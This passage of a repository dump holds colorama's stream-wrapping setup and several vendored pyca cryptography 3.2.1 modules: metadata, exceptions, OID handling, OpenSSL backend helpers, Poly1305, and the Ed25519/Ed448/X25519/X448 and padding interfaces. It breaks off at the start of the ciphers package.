= None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | -------------------------------------------------------------------------------- /thirdparty/cryptography/__about__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | __all__ = [ 8 | "__title__", 9 | "__summary__", 10 | "__uri__", 11 | "__version__", 12 | "__author__", 13 | "__email__", 14 | "__license__", 15 | "__copyright__", 16 | ] 17 | 18 | __title__ = "cryptography" 19 | __summary__ = ( 20 | "cryptography is a package which provides cryptographic recipes" 21 | " and primitives to Python developers." 22 | ) 23 | __uri__ = "https://github.com/pyca/cryptography" 24 | 25 | __version__ = "3.2.1" 26 | 27 | __author__ = "The cryptography developers" 28 | __email__ = "cryptography-dev@python.org" 29 | 30 | __license__ = "BSD or Apache License, Version 2.0" 31 | __copyright__ = "Copyright 2013-2020 {}".format(__author__) 32 | -------------------------------------------------------------------------------- /thirdparty/cryptography/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import sys 8 | import warnings 9 | 10 | from thirdparty.cryptography.__about__ import ( 11 | __author__, 12 | __copyright__, 13 | __email__, 14 | __license__, 15 | __summary__, 16 | __title__, 17 | __uri__, 18 | __version__, 19 | ) 20 | from thirdparty.cryptography.utils import CryptographyDeprecationWarning 21 | 22 | 23 | __all__ = [ 24 | "__title__", 25 | "__summary__", 26 | "__uri__", 27 | "__version__", 28 | "__author__", 29 | "__email__", 30 | "__license__", 31 | "__copyright__", 32 | ] 33 | 34 | if sys.version_info[0] == 2: 35 | warnings.warn( 36 | "Python 2 is no longer supported by the Python core team. Support for " 37 | "it is now deprecated in cryptography, and will be removed in a " 38 | "future release.", 39 | CryptographyDeprecationWarning, 40 | stacklevel=2, 41 | ) 42 | if sys.version_info[:2] == (3, 5): 43 | warnings.warn( 44 | "Python 3.5 support will be dropped in the next release of " 45 | "cryptography. Please upgrade your Python.", 46 | CryptographyDeprecationWarning, 47 | stacklevel=2, 48 | ) 49 | -------------------------------------------------------------------------------- /thirdparty/cryptography/exceptions.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from enum import Enum 8 | 9 | 10 | class _Reasons(Enum): 11 | BACKEND_MISSING_INTERFACE = 0 12 | UNSUPPORTED_HASH = 1 13 | UNSUPPORTED_CIPHER = 2 14 | UNSUPPORTED_PADDING = 3 15 | UNSUPPORTED_MGF = 4 16 | UNSUPPORTED_PUBLIC_KEY_ALGORITHM = 5 17 | UNSUPPORTED_ELLIPTIC_CURVE = 6 18 | UNSUPPORTED_SERIALIZATION = 7 19 | UNSUPPORTED_X509 = 8 20 | UNSUPPORTED_EXCHANGE_ALGORITHM = 9 21 | UNSUPPORTED_DIFFIE_HELLMAN = 10 22 | UNSUPPORTED_MAC = 11 23 | 24 | 25 | class UnsupportedAlgorithm(Exception): 26 | def __init__(self, message, reason=None): 27 | super(UnsupportedAlgorithm, self).__init__(message) 28 | self._reason = reason 29 | 30 | 31 | class AlreadyFinalized(Exception): 32 | pass 33 | 34 | 35 | class AlreadyUpdated(Exception): 36 | pass 37 | 38 | 39 | class NotYetFinalized(Exception): 40 | pass 41 | 42 | 43 | class InvalidTag(Exception): 44 | pass 45 | 46 | 47 | class InvalidSignature(Exception): 48 | pass 49 | 50 | 51 | class InternalError(Exception): 52 | def __init__(self, msg, err_code): 53 | super(InternalError, self).__init__(msg) 54 | self.err_code = err_code 55 | 56 | 57 | class InvalidKey(Exception): 58 | pass 59 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | """ 5 | Hazardous Materials 6 | 7 | This is a "Hazardous Materials" module. You should ONLY use it if you're 8 | 100% absolutely sure that you know what you're doing because this module 9 | is full of land mines, dragons, and dinosaurs with laser guns. 10 | """ 11 | from __future__ import absolute_import, division, print_function 12 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/_oid.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography import utils 8 | 9 | 10 | class ObjectIdentifier(object): 11 | def __init__(self, dotted_string): 12 | self._dotted_string = dotted_string 13 | 14 | nodes = self._dotted_string.split(".") 15 | intnodes = [] 16 | 17 | # There must be at least 2 nodes, the first node must be 0..2, and 18 | # if less than 2, the second node cannot have a value outside the 19 | # range 0..39. All nodes must be integers. 20 | for node in nodes: 21 | try: 22 | node_value = int(node, 10) 23 | except ValueError: 24 | raise ValueError( 25 | "Malformed OID: %s (non-integer nodes)" 26 | % (self._dotted_string) 27 | ) 28 | if node_value < 0: 29 | raise ValueError( 30 | "Malformed OID: %s (negative-integer nodes)" 31 | % (self._dotted_string) 32 | ) 33 | intnodes.append(node_value) 34 | 35 | if len(nodes) < 2: 36 | raise ValueError( 37 | "Malformed OID: %s (insufficient number of nodes)" 38 | % (self._dotted_string) 39 | ) 40 | 41 | if intnodes[0] > 2: 42 | raise ValueError( 43 | "Malformed OID: %s (first node outside valid range)" 44 | % (self._dotted_string) 45 | ) 46 | 47 | if intnodes[0] < 2 and intnodes[1] >= 40: 48 | raise ValueError( 49 | "Malformed OID: %s (second node outside valid range)" 50 | % (self._dotted_string) 51 | ) 52 | 53 | def __eq__(self, other): 54 | if not isinstance(other, ObjectIdentifier): 55 | return NotImplemented 56 | 57 | return self.dotted_string == other.dotted_string 58 | 59 | def __ne__(self, other): 60 | return not self == other 61 | 62 | def __repr__(self): 63 | return "".format( 64 | self.dotted_string, self._name 65 | ) 66 | 67 | def __hash__(self): 68 | return hash(self.dotted_string) 69 | 70 | @property 71 | def _name(self): 72 | # Lazy import to avoid an import cycle 73 | from thirdparty.cryptography.x509.oid import _OID_NAMES 74 | 75 | return _OID_NAMES.get(self, "Unknown OID") 76 | 77 | dotted_string = utils.read_only_property("_dotted_string") 78 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/backends/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | 8 | _default_backend = None 9 | 10 | 11 | def default_backend(): 12 | global _default_backend 13 | 14 | if _default_backend is None: 15 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 16 | 17 | _default_backend = backend 18 | 19 | return _default_backend 20 | 21 | 22 | def _get_backend(backend): 23 | if backend is None: 24 | return default_backend() 25 | else: 26 | return backend 27 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/backends/openssl/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 8 | 9 | 10 | __all__ = ["backend"] 11 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/backends/openssl/poly1305.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | 8 | from thirdparty.cryptography.exceptions import InvalidSignature 9 | from thirdparty.cryptography.hazmat.primitives import constant_time 10 | 11 | 12 | _POLY1305_TAG_SIZE = 16 13 | _POLY1305_KEY_SIZE = 32 14 | 15 | 16 | class _Poly1305Context(object): 17 | def __init__(self, backend, key): 18 | self._backend = backend 19 | 20 | key_ptr = self._backend._ffi.from_buffer(key) 21 | # This function copies the key into OpenSSL-owned memory so we don't 22 | # need to retain it ourselves 23 | evp_pkey = self._backend._lib.EVP_PKEY_new_raw_private_key( 24 | self._backend._lib.NID_poly1305, 25 | self._backend._ffi.NULL, 26 | key_ptr, 27 | len(key), 28 | ) 29 | self._backend.openssl_assert(evp_pkey != self._backend._ffi.NULL) 30 | self._evp_pkey = self._backend._ffi.gc( 31 | evp_pkey, self._backend._lib.EVP_PKEY_free 32 | ) 33 | ctx = self._backend._lib.Cryptography_EVP_MD_CTX_new() 34 | self._backend.openssl_assert(ctx != self._backend._ffi.NULL) 35 | self._ctx = self._backend._ffi.gc( 36 | ctx, self._backend._lib.Cryptography_EVP_MD_CTX_free 37 | ) 38 | res = self._backend._lib.EVP_DigestSignInit( 39 | self._ctx, 40 | self._backend._ffi.NULL, 41 | self._backend._ffi.NULL, 42 | self._backend._ffi.NULL, 43 | self._evp_pkey, 44 | ) 45 | self._backend.openssl_assert(res == 1) 46 | 47 | def update(self, data): 48 | data_ptr = self._backend._ffi.from_buffer(data) 49 | res = self._backend._lib.EVP_DigestSignUpdate( 50 | self._ctx, data_ptr, len(data) 51 | ) 52 | self._backend.openssl_assert(res != 0) 53 | 54 | def finalize(self): 55 | buf = self._backend._ffi.new("unsigned char[]", _POLY1305_TAG_SIZE) 56 | outlen = self._backend._ffi.new("size_t *") 57 | res = self._backend._lib.EVP_DigestSignFinal(self._ctx, buf, outlen) 58 | self._backend.openssl_assert(res != 0) 59 | self._backend.openssl_assert(outlen[0] == _POLY1305_TAG_SIZE) 60 | return self._backend._ffi.buffer(buf)[: outlen[0]] 61 | 62 | def verify(self, tag): 63 | mac = self.finalize() 64 | if not constant_time.bytes_eq(mac, tag): 65 | raise InvalidSignature("Value did not match computed tag.") 66 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/backends/openssl/utils.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import warnings 8 | 9 | from thirdparty.cryptography import utils 10 | from thirdparty.cryptography.hazmat.primitives import hashes 11 | from thirdparty.cryptography.hazmat.primitives.asymmetric.utils import Prehashed 12 | 13 | 14 | def _evp_pkey_derive(backend, evp_pkey, peer_public_key): 15 | ctx = backend._lib.EVP_PKEY_CTX_new(evp_pkey, backend._ffi.NULL) 16 | backend.openssl_assert(ctx != backend._ffi.NULL) 17 | ctx = backend._ffi.gc(ctx, backend._lib.EVP_PKEY_CTX_free) 18 | res = backend._lib.EVP_PKEY_derive_init(ctx) 19 | backend.openssl_assert(res == 1) 20 | res = backend._lib.EVP_PKEY_derive_set_peer(ctx, peer_public_key._evp_pkey) 21 | backend.openssl_assert(res == 1) 22 | keylen = backend._ffi.new("size_t *") 23 | res = backend._lib.EVP_PKEY_derive(ctx, backend._ffi.NULL, keylen) 24 | backend.openssl_assert(res == 1) 25 | backend.openssl_assert(keylen[0] > 0) 26 | buf = backend._ffi.new("unsigned char[]", keylen[0]) 27 | res = backend._lib.EVP_PKEY_derive(ctx, buf, keylen) 28 | if res != 1: 29 | raise ValueError("Null shared key derived from public/private pair.") 30 | 31 | return backend._ffi.buffer(buf, keylen[0])[:] 32 | 33 | 34 | def _calculate_digest_and_algorithm(backend, data, algorithm): 35 | if not isinstance(algorithm, Prehashed): 36 | hash_ctx = hashes.Hash(algorithm, backend) 37 | hash_ctx.update(data) 38 | data = hash_ctx.finalize() 39 | else: 40 | algorithm = algorithm._algorithm 41 | 42 | if len(data) != algorithm.digest_size: 43 | raise ValueError( 44 | "The provided data must be the same length as the hash " 45 | "algorithm's digest size." 46 | ) 47 | 48 | return (data, algorithm) 49 | 50 | 51 | def _check_not_prehashed(signature_algorithm): 52 | if isinstance(signature_algorithm, Prehashed): 53 | raise TypeError( 54 | "Prehashed is only supported in the sign and verify methods. " 55 | "It cannot be used with signer or verifier." 56 | ) 57 | 58 | 59 | def _warn_sign_verify_deprecated(): 60 | warnings.warn( 61 | "signer and verifier have been deprecated. Please use sign " 62 | "and verify instead.", 63 | utils.PersistentlyDeprecated2017, 64 | stacklevel=3, 65 | ) 66 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/bindings/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/bindings/openssl/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | 12 | @six.add_metaclass(abc.ABCMeta) 13 | class AsymmetricSignatureContext(object): 14 | @abc.abstractmethod 15 | def update(self, data): 16 | """ 17 | Processes the provided bytes and returns nothing. 18 | """ 19 | 20 | @abc.abstractmethod 21 | def finalize(self): 22 | """ 23 | Returns the signature as bytes. 24 | """ 25 | 26 | 27 | @six.add_metaclass(abc.ABCMeta) 28 | class AsymmetricVerificationContext(object): 29 | @abc.abstractmethod 30 | def update(self, data): 31 | """ 32 | Processes the provided bytes and returns nothing. 33 | """ 34 | 35 | @abc.abstractmethod 36 | def verify(self): 37 | """ 38 | Raises an exception if the bytes provided to update do not match the 39 | signature or the signature does not match the public key. 40 | """ 41 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/ed25519.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | from thirdparty.cryptography.exceptions import UnsupportedAlgorithm, _Reasons 12 | 13 | 14 | _ED25519_KEY_SIZE = 32 15 | _ED25519_SIG_SIZE = 64 16 | 17 | 18 | @six.add_metaclass(abc.ABCMeta) 19 | class Ed25519PublicKey(object): 20 | @classmethod 21 | def from_public_bytes(cls, data): 22 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 23 | 24 | if not backend.ed25519_supported(): 25 | raise UnsupportedAlgorithm( 26 | "ed25519 is not supported by this version of OpenSSL.", 27 | _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, 28 | ) 29 | 30 | return backend.ed25519_load_public_bytes(data) 31 | 32 | @abc.abstractmethod 33 | def public_bytes(self, encoding, format): 34 | """ 35 | The serialized bytes of the public key. 36 | """ 37 | 38 | @abc.abstractmethod 39 | def verify(self, signature, data): 40 | """ 41 | Verify the signature. 42 | """ 43 | 44 | 45 | @six.add_metaclass(abc.ABCMeta) 46 | class Ed25519PrivateKey(object): 47 | @classmethod 48 | def generate(cls): 49 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 50 | 51 | if not backend.ed25519_supported(): 52 | raise UnsupportedAlgorithm( 53 | "ed25519 is not supported by this version of OpenSSL.", 54 | _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, 55 | ) 56 | 57 | return backend.ed25519_generate_key() 58 | 59 | @classmethod 60 | def from_private_bytes(cls, data): 61 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 62 | 63 | if not backend.ed25519_supported(): 64 | raise UnsupportedAlgorithm( 65 | "ed25519 is not supported by this version of OpenSSL.", 66 | _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, 67 | ) 68 | 69 | return backend.ed25519_load_private_bytes(data) 70 | 71 | @abc.abstractmethod 72 | def public_key(self): 73 | """ 74 | The Ed25519PublicKey derived from the private key. 75 | """ 76 | 77 | @abc.abstractmethod 78 | def private_bytes(self, encoding, format, encryption_algorithm): 79 | """ 80 | The serialized bytes of the private key. 81 | """ 82 | 83 | @abc.abstractmethod 84 | def sign(self, data): 85 | """ 86 | Signs the data. 87 | """ 88 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/ed448.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | from thirdparty.cryptography.exceptions import UnsupportedAlgorithm, _Reasons 12 | 13 | 14 | @six.add_metaclass(abc.ABCMeta) 15 | class Ed448PublicKey(object): 16 | @classmethod 17 | def from_public_bytes(cls, data): 18 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 19 | 20 | if not backend.ed448_supported(): 21 | raise UnsupportedAlgorithm( 22 | "ed448 is not supported by this version of OpenSSL.", 23 | _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, 24 | ) 25 | 26 | return backend.ed448_load_public_bytes(data) 27 | 28 | @abc.abstractmethod 29 | def public_bytes(self, encoding, format): 30 | """ 31 | The serialized bytes of the public key. 32 | """ 33 | 34 | @abc.abstractmethod 35 | def verify(self, signature, data): 36 | """ 37 | Verify the signature. 38 | """ 39 | 40 | 41 | @six.add_metaclass(abc.ABCMeta) 42 | class Ed448PrivateKey(object): 43 | @classmethod 44 | def generate(cls): 45 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 46 | 47 | if not backend.ed448_supported(): 48 | raise UnsupportedAlgorithm( 49 | "ed448 is not supported by this version of OpenSSL.", 50 | _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, 51 | ) 52 | return backend.ed448_generate_key() 53 | 54 | @classmethod 55 | def from_private_bytes(cls, data): 56 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 57 | 58 | if not backend.ed448_supported(): 59 | raise UnsupportedAlgorithm( 60 | "ed448 is not supported by this version of OpenSSL.", 61 | _Reasons.UNSUPPORTED_PUBLIC_KEY_ALGORITHM, 62 | ) 63 | 64 | return backend.ed448_load_private_bytes(data) 65 | 66 | @abc.abstractmethod 67 | def public_key(self): 68 | """ 69 | The Ed448PublicKey derived from the private key. 70 | """ 71 | 72 | @abc.abstractmethod 73 | def sign(self, data): 74 | """ 75 | Signs the data. 76 | """ 77 | 78 | @abc.abstractmethod 79 | def private_bytes(self, encoding, format, encryption_algorithm): 80 | """ 81 | The serialized bytes of the private key. 82 | """ 83 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/padding.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | from thirdparty.cryptography import utils 12 | from thirdparty.cryptography.hazmat.primitives import hashes 13 | from thirdparty.cryptography.hazmat.primitives.asymmetric import rsa 14 | 15 | 16 | @six.add_metaclass(abc.ABCMeta) 17 | class AsymmetricPadding(object): 18 | @abc.abstractproperty 19 | def name(self): 20 | """ 21 | A string naming this padding (e.g. "PSS", "PKCS1"). 22 | """ 23 | 24 | 25 | @utils.register_interface(AsymmetricPadding) 26 | class PKCS1v15(object): 27 | name = "EMSA-PKCS1-v1_5" 28 | 29 | 30 | @utils.register_interface(AsymmetricPadding) 31 | class PSS(object): 32 | MAX_LENGTH = object() 33 | name = "EMSA-PSS" 34 | 35 | def __init__(self, mgf, salt_length): 36 | self._mgf = mgf 37 | 38 | if ( 39 | not isinstance(salt_length, six.integer_types) 40 | and salt_length is not self.MAX_LENGTH 41 | ): 42 | raise TypeError("salt_length must be an integer.") 43 | 44 | if salt_length is not self.MAX_LENGTH and salt_length < 0: 45 | raise ValueError("salt_length must be zero or greater.") 46 | 47 | self._salt_length = salt_length 48 | 49 | 50 | @utils.register_interface(AsymmetricPadding) 51 | class OAEP(object): 52 | name = "EME-OAEP" 53 | 54 | def __init__(self, mgf, algorithm, label): 55 | if not isinstance(algorithm, hashes.HashAlgorithm): 56 | raise TypeError("Expected instance of hashes.HashAlgorithm.") 57 | 58 | self._mgf = mgf 59 | self._algorithm = algorithm 60 | self._label = label 61 | 62 | 63 | class MGF1(object): 64 | MAX_LENGTH = object() 65 | 66 | def __init__(self, algorithm): 67 | if not isinstance(algorithm, hashes.HashAlgorithm): 68 | raise TypeError("Expected instance of hashes.HashAlgorithm.") 69 | 70 | self._algorithm = algorithm 71 | 72 | 73 | def calculate_max_pss_salt_length(key, hash_algorithm): 74 | if not isinstance(key, (rsa.RSAPrivateKey, rsa.RSAPublicKey)): 75 | raise TypeError("key must be an RSA public or private key") 76 | # bit length - 1 per RFC 3447 77 | emlen = (key.key_size + 6) // 8 78 | salt_length = emlen - hash_algorithm.digest_size - 2 79 | assert salt_length >= 0 80 | return salt_length 81 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/utils.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | from thirdparty.cryptography import utils 8 | from thirdparty.cryptography.hazmat._der import ( 9 | DERReader, 10 | INTEGER, 11 | SEQUENCE, 12 | encode_der, 13 | encode_der_integer, 14 | ) 15 | from thirdparty.cryptography.hazmat.primitives import hashes 16 | 17 | 18 | def decode_dss_signature(signature): 19 | with DERReader(signature).read_single_element(SEQUENCE) as seq: 20 | r = seq.read_element(INTEGER).as_integer() 21 | s = seq.read_element(INTEGER).as_integer() 22 | return r, s 23 | 24 | 25 | def encode_dss_signature(r, s): 26 | return encode_der( 27 | SEQUENCE, 28 | encode_der(INTEGER, encode_der_integer(r)), 29 | encode_der(INTEGER, encode_der_integer(s)), 30 | ) 31 | 32 | 33 | class Prehashed(object): 34 | def __init__(self, algorithm): 35 | if not isinstance(algorithm, hashes.HashAlgorithm): 36 | raise TypeError("Expected instance of HashAlgorithm.") 37 | 38 | self._algorithm = algorithm 39 | self._digest_size = algorithm.digest_size 40 | 41 | digest_size = utils.read_only_property("_digest_size") 42 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/x25519.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | from thirdparty.cryptography.exceptions import UnsupportedAlgorithm, _Reasons 12 | 13 | 14 | @six.add_metaclass(abc.ABCMeta) 15 | class X25519PublicKey(object): 16 | @classmethod 17 | def from_public_bytes(cls, data): 18 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 19 | 20 | if not backend.x25519_supported(): 21 | raise UnsupportedAlgorithm( 22 | "X25519 is not supported by this version of OpenSSL.", 23 | _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, 24 | ) 25 | 26 | return backend.x25519_load_public_bytes(data) 27 | 28 | @abc.abstractmethod 29 | def public_bytes(self, encoding, format): 30 | """ 31 | The serialized bytes of the public key. 32 | """ 33 | 34 | 35 | @six.add_metaclass(abc.ABCMeta) 36 | class X25519PrivateKey(object): 37 | @classmethod 38 | def generate(cls): 39 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 40 | 41 | if not backend.x25519_supported(): 42 | raise UnsupportedAlgorithm( 43 | "X25519 is not supported by this version of OpenSSL.", 44 | _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, 45 | ) 46 | return backend.x25519_generate_key() 47 | 48 | @classmethod 49 | def from_private_bytes(cls, data): 50 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 51 | 52 | if not backend.x25519_supported(): 53 | raise UnsupportedAlgorithm( 54 | "X25519 is not supported by this version of OpenSSL.", 55 | _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, 56 | ) 57 | 58 | return backend.x25519_load_private_bytes(data) 59 | 60 | @abc.abstractmethod 61 | def public_key(self): 62 | """ 63 | The serialized bytes of the public key. 64 | """ 65 | 66 | @abc.abstractmethod 67 | def private_bytes(self, encoding, format, encryption_algorithm): 68 | """ 69 | The serialized bytes of the private key. 70 | """ 71 | 72 | @abc.abstractmethod 73 | def exchange(self, peer_public_key): 74 | """ 75 | Performs a key exchange operation using the provided peer's public key. 76 | """ 77 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/asymmetric/x448.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository 3 | # for complete details. 4 | 5 | from __future__ import absolute_import, division, print_function 6 | 7 | import abc 8 | 9 | import six 10 | 11 | from thirdparty.cryptography.exceptions import UnsupportedAlgorithm, _Reasons 12 | 13 | 14 | @six.add_metaclass(abc.ABCMeta) 15 | class X448PublicKey(object): 16 | @classmethod 17 | def from_public_bytes(cls, data): 18 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 19 | 20 | if not backend.x448_supported(): 21 | raise UnsupportedAlgorithm( 22 | "X448 is not supported by this version of OpenSSL.", 23 | _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, 24 | ) 25 | 26 | return backend.x448_load_public_bytes(data) 27 | 28 | @abc.abstractmethod 29 | def public_bytes(self, encoding, format): 30 | """ 31 | The serialized bytes of the public key. 32 | """ 33 | 34 | 35 | @six.add_metaclass(abc.ABCMeta) 36 | class X448PrivateKey(object): 37 | @classmethod 38 | def generate(cls): 39 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 40 | 41 | if not backend.x448_supported(): 42 | raise UnsupportedAlgorithm( 43 | "X448 is not supported by this version of OpenSSL.", 44 | _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, 45 | ) 46 | return backend.x448_generate_key() 47 | 48 | @classmethod 49 | def from_private_bytes(cls, data): 50 | from thirdparty.cryptography.hazmat.backends.openssl.backend import backend 51 | 52 | if not backend.x448_supported(): 53 | raise UnsupportedAlgorithm( 54 | "X448 is not supported by this version of OpenSSL.", 55 | _Reasons.UNSUPPORTED_EXCHANGE_ALGORITHM, 56 | ) 57 | 58 | return backend.x448_load_private_bytes(data) 59 | 60 | @abc.abstractmethod 61 | def public_key(self): 62 | """ 63 | The serialized bytes of the public key. 64 | """ 65 | 66 | @abc.abstractmethod 67 | def private_bytes(self, encoding, format, encryption_algorithm): 68 | """ 69 | The serialized bytes of the private key. 70 | """ 71 | 72 | @abc.abstractmethod 73 | def exchange(self, peer_public_key): 74 | """ 75 | Performs a key exchange operation using the provided peer's public key. 76 | """ 77 | -------------------------------------------------------------------------------- /thirdparty/cryptography/hazmat/primitives/ciphers/__init__.py: -------------------------------------------------------------------------------- 1 | # This file is dual licensed under the terms of the Apache License, Version 2 | # 2.0, and 